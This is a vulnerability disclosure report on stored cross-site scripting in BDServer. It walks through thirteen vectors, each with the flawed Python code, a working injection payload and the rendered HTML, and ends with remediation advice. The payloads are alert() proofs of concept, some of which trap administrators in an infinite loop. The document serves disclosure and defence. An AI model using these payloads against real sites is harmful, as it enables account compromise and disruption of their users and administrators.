This repository has been archived on 2026-04-22. You can view files and clone it. You cannot open issues or pull requests or push a commit.
Files
2026-01-21 13:12:04 -05:00
..
2026-01-21 13:12:04 -05:00

Stored Cross-Site Scripting (XSS)

Summary

BDServer contains multiple stored XSS vulnerabilities allowing attackers to inject JavaScript that executes when other users view affected pages. The root cause is an inadequate HTML escaping function combined with unsafe string concatenation throughout the codebase. This report documents thirteen confirmed vectors grouped by authentication requirements. Additional vectors likely exist given the prevalence of the vulnerable pattern.

Vulnerability Details

Property Value
Type Stored Cross-Site Scripting (XSS)
CVSS 8.1 (High)
CWE CWE-79 (Improper Neutralization of Input During Web Page Generation)

Root Cause

The Safe() function is intended to sanitize user input but is inadequate:

def Safe(text):
    return str(text).replace("<", "&lt").replace(">", "&gt")

Note: The function uses &lt and &gt without trailing semicolons. Browsers accept these for legacy compatibility reasons, but they are flagged as parse errors by the HTML specification. This is a code quality issue but not a security concern in this context.

Proper HTML escaping is context-dependent: text content, attributes, URLs, and JavaScript contexts each require different treatment. This function only escapes angle brackets, which prevents tag injection but does nothing against attribute injection:

# Vulnerable pattern throughout the codebase:
html = '<img src="' + Safe(user_input) + '">'

# If user_input = 'x" onerror="alert(1)" x="'
# Output: <img src="x" onerror="alert(1)" x="">

This pattern appears throughout Render.py (6,100+ lines), making comprehensive remediation difficult without architectural changes.

Vectors

Group 1: Unauthenticated (Critical)

These vectors require no account and can be exploited by anyone. Vectors 1.3 and 1.4 target administrators directly through the comment moderation interface.

Vector 1.1: Markdown Image Injection

The markdown image handler only escapes quotes in the title attribute, leaving src vulnerable:

textReturn = textReturn + '\n<center><a target="_blank" href="'+i[-1]+'"><img title="'+i[1].replace('"', "&quot;")+'" alt="[embedded image]" src="'+i[-1]+'"></a></center>'

Payload: Post a comment containing:

![x](x" onerror="alert`XSS`" x=")

Result: After admin approval, renders as:

<img title="x" alt="[embedded image]" src="x" onerror="alert`XSS`" x="">

The invalid src triggers onerror automatically. Payloads cannot contain ) because the markdown parser uses it as a delimiter; template literal syntax bypasses this.

The markdown link handler inserts URLs without any escaping:

textReturn = textReturn + '<a target="_blank" href="'+i[-1]+'">'+i[1]+"</a>"

Payload: Post a comment containing:

[click me](x" onclick="alert`XSS`" x=")

Result: After approval, clicking the link executes JavaScript:

<a target="_blank" href="x" onclick="alert`XSS`" x="">click me</a>

Payloads cannot contain ) due to the markdown parser's delimiter handling.

Vector 1.3: Anonymous Comment Username

The comment editing form inserts anonymous usernames without sanitization:

account = comment.get("username", "")
if account in accounts():
    html = html + User(Safe(account))
elif account:
    # ...
    html = html + '<input class="button" style="width:90%" maxlength="200" name="username" placeholder="Optional Nick Name" value="'+account+'">'

The Safe() function is only called for registered usernames. Anonymous usernames bypass it entirely.

Payload: Post an anonymous comment with username:

x"autofocus="autofocus"onfocus="alert('XSS')

Result: When an admin reviews or edits the comment:

<input ... value="x"autofocus="autofocus"onfocus="alert('XSS')">

The autofocus attribute triggers onfocus immediately, so the admin does not need to approve the comment. This creates an infinite loop that locks the admin out of the page.

Vector 1.4: Anonymous Comment Warning Field

The comment warning field receives no sanitization:

warning = comment.get("warning", "")
html = html + '<input class="button" maxlength="200" style="width:90%" name="warning" placeholder="Optional Trigger Warning" value="'+warning+'">'

Payload: Post a comment with trigger warning:

x"autofocus="autofocus"onfocus="alert('XSS')

Result: When an admin views pending comments:

<input ... value="x"autofocus="autofocus"onfocus="alert('XSS')">

The autofocus attribute triggers onfocus immediately. This creates an infinite loop that locks the admin out of the page.

Group 2: Registered Account Required (High)

These vectors require creating an account but no special privileges.

Vector 2.1: Avatar URL

The avatar URL passes through Safe() but remains vulnerable to attribute injection:

avatar = Safe(account.get("avatar", ""))
html = '<!-- Render.User --><img alt="[avatar]" style="height:50px;vertical-align: middle" src="'+avatar+'">&nbsp;&nbsp;'

Payload: Set avatar URL in /settings to:

x" onerror="alert('XSS')" x="

Result: Executes on every page displaying the avatar (article listings, comments, profile pages):

<img alt="[avatar]" style="..." src="x" onerror="alert('XSS')" x="">

Vector 2.2: Website Profile Field

The website field passes through Safe() but allows attribute injection:

website = Safe(Accounts.get(account, {}).get("website"  , ""))
html = html + '<a href="'+website+'"> '+webtitle+'</a>'

Payload: Set website field to:

x" onclick="alert('XSS')" x="

Result: Executes when visitors click the link on the profile page:

<a href="x" onclick="alert('XSS')" x=""> ...</a>

Vector 2.3: Jami Profile Field

The Jami field is inserted into an input value attribute:

jami = Safe(Accounts.get(account, {}).get("jami"  , ""))
# ...
html = html + '<input class="button" style="width:50%;" value="'+jami+'">'

Payload: Set Jami field to:

x"autofocus="autofocus"onfocus="alert('XSS')

Result: Executes immediately when visitors view the profile:

<input class="button" style="width:50%;" value="x"autofocus="autofocus"onfocus="alert('XSS')">

This creates an infinite loop.

Vector 2.4: Matrix Profile Field

The Matrix field is concatenated into a URL:

matrix = Safe(Accounts.get(account, {}).get("matrix"  , ""))
# ...
if "/" in matrix:
    matrix = matrix[matrix.rfind("/")+1:]
matrixlink = "https://matrix.to/#/"+matrix
# ...
html = html + '<a href="'+matrixlink+'"> '+matrix+'</a>'

Payload: Set Matrix field to:

x" onclick="alert('XSS')" x="

Result: Executes when visitors click the Matrix link:

<a href="https://matrix.to/#/x" onclick="alert('XSS')" x=""> ...</a>

The / stripping limits exfiltration payloads containing URLs.

Vector 2.5: Mastodon Profile Field

The Mastodon field passes through helper functions that don't escape quotes:

mastodon = Safe(Accounts.get(account, {}).get("mastodon"  , ""))
# ...
Mastodon = mastohead(mastodon)
Mastolink = mastolink(Mastodon)
# ...
html = html + '<a href="'+Mastolink+'"> '+Mastodon+'</a>'

Payload: Set Mastodon field to:

x" onclick="alert('XSS')" x="@example.com

Result: Executes when visitors click the Mastodon link:

<a href="https://example.com/@x" onclick="alert('XSS')" x=""> ...</a>

The helper function mangles payloads containing /.

Vector 2.6: PeerTube Profile Field

The PeerTube field passes through helper functions that don't escape quotes:

peertube = Safe(Accounts.get(account, {}).get("peertube"  , ""))
# ...
PeerHead = peerhead(peertube)
PeerLink = peerlink(PeerHead)
# ...
html = html + '<a href="'+PeerLink+'"> '+PeerHead+'</a>'

Payload: Set PeerTube field to:

x" onclick="alert('XSS')" x="@example.com

Result: Executes when visitors click the PeerTube link:

<a href="https://example.com/@x" onclick="alert('XSS')" x=""> ...</a>

The helper function mangles payloads containing /.

Group 3: Elevated Privileges Required (Medium)

These vectors require author, editor, or theme editing privileges.

Vector 3.1: Article Title

Article titles receive no sanitization:

html = html + article.get("title", "")+"</h1></a>"+sup+"\n"

Payload: Set article title to:

<script>alert('XSS')</script>

Result: Raw HTML is inserted directly on listing pages and the article itself:

...<script>alert('XSS')</script></h1></a>...

Vector 3.2: Article Thumbnail

Article thumbnails are inserted without sanitization:

html = html + '<img style="min-width:100%; width:100%" src="'+thumbnail+'">'

Payload: Set thumbnail URL to:

"><script>alert('XSS')</script><img src="

Result: Executes on the article page and listings:

<img style="min-width:100%; width:100%" src=""><script>alert('XSS')</script><img src="">

Vector 3.3: Theme Thumbnail

The theme thumbnail is inserted without sanitization:

html = html + '<img alt="[avatar]" style="height:150px;float:left;margin-right:20px;margin-bottom:20px" src="'+thumbnail+'">'

Payload: Set theme screenshot field to:

"><script>alert('XSS')</script><img src="

Result: Executes when visitors view the theme listing:

<img alt="[avatar]" style="..." src=""><script>alert('XSS')</script><img src="">

Remediation

Adopt a Templating Engine

Building HTML through string concatenation makes security review difficult. Render.py alone is over 6,100 lines of interleaved Python logic and HTML fragments. Every output statement is a potential XSS vector.

A templating engine like Jinja2 separates HTML structure from application logic and escapes variables automatically by default. This makes XSS vulnerabilities structurally difficult to introduce rather than relying on developers to remember to sanitize every insertion point.

Replace the Custom Markdown Parser

The custom modules/markdown.py uses ad-hoc string manipulation with many edge cases. An established library like markdown-it-py follows the CommonMark specification and provides options to disable raw HTML in user content.

Fix the Safe() Function

As an immediate mitigation, replace Safe() with Python's html.escape():

import html

def Safe(text):
    return html.escape(str(text), quote=True)

This escapes <, >, &, ", and '. However, this only addresses vectors where Safe() is already called. The article title, anonymous username, and warning field vectors bypass Safe() entirely.

Harden HTTP Headers

Cookies set with the HttpOnly flag cannot be accessed by JavaScript, limiting the impact of XSS. A Content Security Policy that blocks inline scripts can prevent many XSS payloads from executing. These mitigations reduce impact but do not substitute for fixing the underlying vulnerabilities.

Disclaimer

This assessment was performed on a best-effort basis against BDServer commit dc86854 and reflects the state of the software at the time of testing. The findings and remediations are provided for informational purposes and should be independently validated before implementation. This report does not guarantee all vulnerabilities have been identified, nor does it guarantee the suggested fixes will be effective in all environments.